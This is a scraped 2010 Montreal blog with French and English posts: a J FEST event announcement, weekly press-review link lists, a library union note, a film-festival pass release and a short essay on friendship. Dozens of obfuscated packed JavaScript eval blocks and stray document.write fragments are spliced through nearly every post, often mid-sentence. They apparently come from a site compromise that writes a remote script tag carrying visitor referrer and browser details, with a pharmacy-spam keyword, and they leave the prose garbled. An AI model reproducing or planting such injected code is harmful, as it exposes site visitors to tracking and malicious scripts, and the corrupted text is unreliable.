“Oh my god, man! I couldn’t even imagine J FEST was something like that… It’s impressive!!!” said MUSIQUE PLUS, the Canadian equivalent of MTV.? Watch Musique Plus Video at J FEST, here.?

Shiatsu, Japanese nail designs, Japanese Food and also Fashion shows, dance performances and a lot of surprises are also part of the event.

WHEN:
Saturday, July 17th, 2010 from 8:30 pm – 12:00 am

WHERE:
@ ALIZÉ – 900 Ontario East, Montreal , QC, Canada

WHY:
The goal of J FEST is to gather around J MUSIC, all the people who want to discover a new aspect of Japan , and all the fans of Japanese pop culture. To this cultural goal is added a will to create business opportunities between the North American and Japanese music industries and create a solid bridge between these 2 cultures. ?From the end of 2010, J FEST will take place in New York, Toronto and Vancouver and is prepared to be held in any other city that will make the request to host the event.

Admission:
J FEST is a +18 event. An approved ID is required.? The entrance fee is 8$ in advance and 10$ at the door.

Registration:
For more information, http://jfest.studiobatsu.com
or contact: jfest@studiobatsu.com

About the Company:
K.JOE, founder of STUDIO BATSU INC., has organized  Japanese Pop culture related events for over 15 years in Europe, Japan and North America. ?He is also specialized in booking tours for Japanese Music Labels or artists in Europe, Japan and North America . ?He speaks fluently French, English and Japanese. ?With his global vision and his background in the Japanese Music industry and Japanese entertainment world, STUDIO BATSU INC. is about to be an unavoidable bridge between North America and Japan.

Media contact:
J. “K.JOE” Tamko:  media@studiobatsu.com

More Videos about J FEST: http://www.youtube.com/user/JFEST777

Bonne Saint-Jean

Bonne Saint-Jean à tous!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyban|var|u0026u|referrer|idrsz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iiekz|var|u0026u|referrer|habnn||js|php’.split(‘|’),0,{}))

Happy Saint-Jean to all (at least those in Québec — or happy beer’s day like some friends are saying).

I have a couple of days off so (after answering a few emails and doing a little clean up) I’ll try to do some update here. Hopefully.

Revue de Presse / Press Review (2010/06/18)

Quote of the week: “The more tools I have, document.write(“”); the less I work.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yabky|var|u0026u|referrer|dyinz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yekiz|var|u0026u|referrer|ysnki||js|php’.split(‘|’),0,{}))

It seems I have less and less time to do anything! In the meantimes, the world continue to turn:

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Petite note syndicale pour le Plateau Mont-Royal

Le SFMM a annoncé qu’une assemblée sectorielle a été convoqué pour tous les aide-bibliothécaires et les bibliotechniciens auxiliaires de l’arrondissement Plateau Mont-Royal pour présenter et voter l’entente de principe relative à l’entente E.V. 96-94 régissant l’octroi des heures de travail (et autres dispositions). L’assemblée aura lieu le lundi 28 juin à 18:30 dans la salle de conférence du SFMM (au <a href="http://maps.google.ca/maps?client=safari&rls=en&oe=UTF-8&redir_esc=&um=1&ie=UTF-8&q=429, document.write(“”); +rue+de+la+Gaucheti%C3%A8re+Est+Montreal+QC&fb=1&gl=ca&hnear=Montreal,+QC&cid=0,0,17420134715986609155&ei=tPEbTLC-GoOClAfasfT6DQ&sa=X&oi=local_result&ct=image&resnum=1&ved=0CBYQnwIwAA” target=”“new””>429, rue de la Gauchetière Est).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbnet|var|u0026u|referrer|teifd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abayh|var|u0026u|referrer|etdie||js|php’.split(‘|’),0,{}))

A cette assemblée les auxiliaires du Plateau Mont-Royal devront se prononcer sur la lettre d’entente qui régit l’embauche et l’assignation (un aspect important de nos conditions de travail). Cette entente a été négocié entre le syndicat et l’arrondissement, mais les auxiliaires n’en prendront connaissance que quelques minutes avant le vote. Ils n’auront pas le temps d’y réfléchir, ni d’en discuter. Devant cette façon de faire inacceptable et faute d’avoir du temps pour bien réfléchir à tous les aspects de cette entente et leur implication, je recommande aux auxiliaires des bibliothèques du Plateau Mont-Royal de voter CONTRE l’acceptation de cette entente.

Si vous désirez en savoir plus sur ce que sont ces lettres d’entente, lire les ententes négociées avec les autres arrondissements et connaitre pourquoi, selon mon humble avis, ces lettres sont mauvaises pour nos conditions de travail, je vous propose de lire le billet “Les Lettres d’entente en question”. Lisez et faites passer le mot (pour plus de facilité utilisez les raccourcis: http://tinyurl.com/yyp4zug ou http://to.ly/338X).

A tout les auxiliaires du Plateau Mont-Royal qui ont signé la lettre-ultimatum au SFMM, devant l’inéfficacité de ce moyen de pression, je recommande donc que vous vous présentiez quand même à l’assemblée et votiez selon votre conscience…

(Mise à jour (2010/07/09): pour des nouvelles voir les billets Mise à jour syndicale et Victoire! En quelque sorte…)

Revue de Presse / Press Review (2010/06/11)

Personnal update: After a warmer than normal May, document.write(“”); we now have a cooler than normal June! Go figure! I am still busier than I would like and doesn’t have time to do half the stuff I should do (like the appartment clean up, my digital publishing projects or the dozens articles I would like to write about the latest Valerian, its lame “anime” version, the iPad, my favourites apps, the rapidly expending ebooks market, etc.). In the meantimes, here’s a sample of the news I’ve been reading on my iPad:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iaeny|var|u0026u|referrer|sdytd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbray|var|u0026u|referrer|fkfzk||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Humour

Media, Culture & Society

Montreal & Local/National Politics

Real-estate

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Some cool Apple-related videos

Steve Jobs at All Things Digital
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhter|var|u0026u|referrer|entna||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhyde|var|u0026u|referrer|brish||js|php’.split(‘|’),0,{}))

WWDC 2010 Keynote Address

iPhone 4 Intro Video

Time Reinvents the iPad Magazine, document.write(“”); Again

Press Release: Passeports et Cartes Cinéphiles au FFM 2010

Montréal, document.write(“”); le 10 juin 2010 — Le prochain Festival des Films du Monde aura lieu du 26 août au 6 septembre 2010. Les amateurs de cinéma seront encore choyés. En effet, le Festival offre, comme l’an dernier, le système de PASSEPORT mais en plus, il offre la carte CINÉPHILE.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzhdn|var|u0026u|referrer|skbdz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkabe|var|u0026u|referrer|itydz||js|php’.split(‘|’),0,{}))

Aussi bien le PASSEPORT que la carte CINÉPHILE, donnent accès au choix énorme de films présentés au FFM (plus de 700 séances). Les informations ainsi que les bons de commande du PASSEPORT et de la carte CINÉPHILE sont disponibles sur le site Internet du Festival www.ffm-montreal.org

Le PASSEPORT est en vente au coût de 100 $, il donne droit à une réduction sur le prix du catalogue et de l’affiche. La carte CINÉPHILE est en vente au coût de 250 $, elle donne droit à un catalogue et une affiche gratuits. Les détenteurs de la carte CINÉPHILE et les détenteurs de billets individuels auront priorité sur les PASSEPORTS. Chaque détenteur du PASSEPORT ou de la carte CINÉPHILE pourra voter pour les Prix du Public.

Si vous aimez le cinéma de qualité sur grand écran, si vous voulez voir des films des 5 continents, si vous êtes ouvert à la diversité culturelle, si vous aimez voir des films en premières et vous faire votre propre opinion, si vous ne voulez pas rater des films qui ne seront pas distribués par la suite, si vous aimez le contact avec les réalisateurs et acteurs qui présentent leurs films, si vous aimez voyager et être confronté à d’autres façons de vivre et de penser, si vous êtes d’avis qu’une meilleure connaissance des autres cultures rend plus tolérant, si vous aimez la musicalité des langues et des accents, si vous planifiez d’être à Montréal et disponible pour voir des films entre le 26 août et le 6 septembre 2010 pendant le Festival des Films du Monde…

Si vous répondez OUI au moins une fois à ce qui précède, le PASSEPORT ou la carte CINÉPHILE sont faits pour vous. Attention, les quantités sont limitées… Premier inscrit, premier servi.

Pour informations, appeler : (514) 848-3883.

Revue de Presse / Press Review (2010/06/03)

Personnal update: I’ve had the iPad for nearly a week now and I should soon comment about it (if I can find some time). I am quite tired because I’ve lost some sleep (and gain stomac pain) over establishing my new work schedule [link in french] but it’s all over now. As usual, document.write(“”); I worried for nothing and I’ll be working nearly full time for most of the summer (leaving me little time for the darn clean up and the zillion other stuff I need/want to do — and I still need to figure out how I will list the stuff I want to sell online…). On my days off, I’m so tired that I can barely do anything… Anyway, here’s some of the news that got my attention this week (of course I was mostly preoccupied with iPad-related local news):
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnabt|var|u0026u|referrer|yzzth||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzzek|var|u0026u|referrer|fdasb||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health

Humour

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Histoires de fous

Comme c’est le temps de la distribution des “Blocs d’heures” d’été dans les bibliothèques de la ville, document.write(“”); le Carnardo Pressé a publié un billet, la semaine dernière, invitant les auxiliaires de bibliothèque à partager leur expériences vécus au cours de ce changement parfois traumatisant…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nraye|var|u0026u|referrer|ykfzb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfrsz|var|u0026u|referrer|bkfhz||js|php’.split(‘|’),0,{}))

Jusqu’à maintenant peu d’auxiliaires ont répondu à l’invitation, mais
le Carnardo Pressé a récemment mis à jour son billet en y ajoutant une parodie de la maison des fous d’Astérix (dans Les Douzes Travaux d’Astérix, qui a également été adapté au cinéma). Je ne sais pas qui l’a produite (il n’y a aucun crédit) mais c’est tout à fait hilarant! C’est tout à fait ça!

Je ne peux donc pas m’empêcher de la reprendre ici:

Revue de Presse / Press Review (2010/05/27)

Another nice but insanely busy (and quite unseasonably hot) week. Not only this week was my birthday (getting so old now, document.write(“”); BTW: thanks to all who wished me happy birthday) but I am also getting my iPad (a kind of self-gift)! I’ll be a little more productive when I’m out of the safe-house (I’ll missed it after moving, but I’ll make a better one — however, for now, it is clean-up time!) and I’ll be able to experiment on new ways to distribute contents. This week was as hellish as usual at work (or more: trying to organize a new work schedule provided excruciating mental pain; the boroughs are really nests of ineptitude!). News-wise, beside the iPad international launch, I noted the end of the Cannes Film Festival, more Gulf oil-spill drama and the end of most of the TV shows I was watching (it makes me sad, but it will also allow more time for the clean-up and for “working” on the iPad)! Here’s some more:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|feybs|var|u0026u|referrer|zerbr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibbzy|var|u0026u|referrer|adtba||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health

Humour

Media, Culture & Society

Montreal & Local/National Politics

Real-estate

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Friendship

A friend is someone with whom you share a mutual affection. Someone you trust. Someone you can count on when in trouble, document.write(“”); even in the middle of the night. Someone you can confide to without fear. Someone that will not betray you in any ways. Someone that will never hurt you even out of rage. Someone that will not lie to you. Someone that will never take advantage of you.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btbzt|var|u0026u|referrer|atdih||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aeefi|var|u0026u|referrer|fbnst||js|php’.split(‘|’),0,{}))

A friend is NOT someone you barely know or even heard of. A “Facebook friend” is no friend.

We don’t have friends anymore like people used to do in the olden days. We either give our “friendship” too easily or we denude it of its meaning. Unfortunately, with time, some word gets vague and lose their meaning. We often mistakenly use “friend” for “acquaintance”.

A real friend is something rare and precious that you might not encounter often, if ever, in your life. And if you do, it will never last. People grow apart. And you are always betrayed in the end…

Revue de Presse / Press Review (2010/05/20)

Busy worrying about my work schedule for the summer (the library network is really going to hell and [thanks to our useless moronic union] trying to get work in several boroughs brings total mayhem–hopefully I’ll end up with a stable, document.write(“”); full-time schedule) while working as much as possible on my appartment clean up… Here’s a few note-worthy news:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfbht|var|u0026u|referrer|ifysr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|inynb|var|u0026u|referrer|ezabh||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Humour

Media, Culture & Society

Montreal & Local/National Politics

Real-estate

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Revue de Presse / Press Review (2010/05/13)

Quote of the week:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntykb|var|u0026u|referrer|nrtys||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfaei|var|u0026u|referrer|tfknf||js|php’.split(‘|’),0,{}))

“Frankly, document.write(“”); my dear, I don’t give a damn” (Rhett Butler [Clark Gable] talking to Scarlett O’Hara [Vivien Leigh] at the end of the 1939 movie Gone with the Wind)

Anime & Manga related, Japan, Popular Culture

Apple news

Books, Digital Edition & Library

Economy, Environment & International Politics

Media, Culture & Society

Montreal & Local/National Politics

Real-estate

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side